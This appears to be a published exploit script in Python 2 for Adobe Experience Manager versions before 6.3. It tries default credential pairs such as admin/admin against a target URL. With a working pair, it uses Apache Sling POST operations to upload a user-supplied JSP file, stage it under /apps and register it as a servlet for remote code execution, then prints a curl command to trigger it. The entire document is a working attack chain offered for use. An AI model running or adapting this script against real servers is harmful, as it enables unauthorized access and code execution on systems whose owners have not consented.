# Exploit Title: Adobe Experience Manager (AEM) < 6.3 default credentials leads to RCE
# Date: 5/19/18
# Exploit Author: StaticFlow
# Vendor Homepage: https://www.adobe.com/in/marketing-cloud/experience-manager.html
# Version: < 6.3
import requests
import sys
baseUrl = 'https://test.com/' #default domain, change here or pass in on command line
credentialList = [['anonymous','anonymous'], ['author','author'], ['admin','admin']]
exploit = 'rce.jsp' #default file name, must be in same dir as python file or passed in on command line
def testLogins():
for credential in credentialList:
response = requests.get(baseUrl, auth=(credential[0], credential[1]))
if(response.status_code == 200):
return credential
return False
if len(sys.argv) == 2:
baseUrl = sys.argv[1]
if len(sys.argv) == 3:
exploit = sys.argv[2]
gotCreds = testLogins()
if(gotCreds):
attackChain = [
{
'jcr:primaryType': (None, 'nt:folder') #create a folder for our exploit
},
{
'exec.jsp': ('rce.jsp', open(exploit, 'rb')) #upload the exploit
},
{
':operation': (None, 'copy'), #copy exploit folder over to app folder for staging
':dest': (None, '/apps/rcetype')
},
{
'sling:resourceType': (None, 'rcetype') #instruct Apache Sling to initialize our exploit code as a servlet
}
]
print "creating folder structure and uploading exploit"
for attack in attackChain[:-1]:
response = requests.post(baseUrl+'content/rcetype', files=attack, auth=(gotCreds[0], gotCreds[1]))
if response.status_code > 201:
print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:"
print response.content
sys.exit(0)
print "initializing servlet from exploit"
response = requests.post(baseUrl+'content/rce', files=attackChain[-1], auth=(gotCreds[0], gotCreds[1]))
if response.status_code > 201:
print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:"
print response.content
sys.exit(0)
print """Should be good to go, run 'curl -X "GET" -u {}:{} {}' and your exploit should run""".format(gotCreds[0],gotCreds[1],baseUrl+'content/rce.exec')
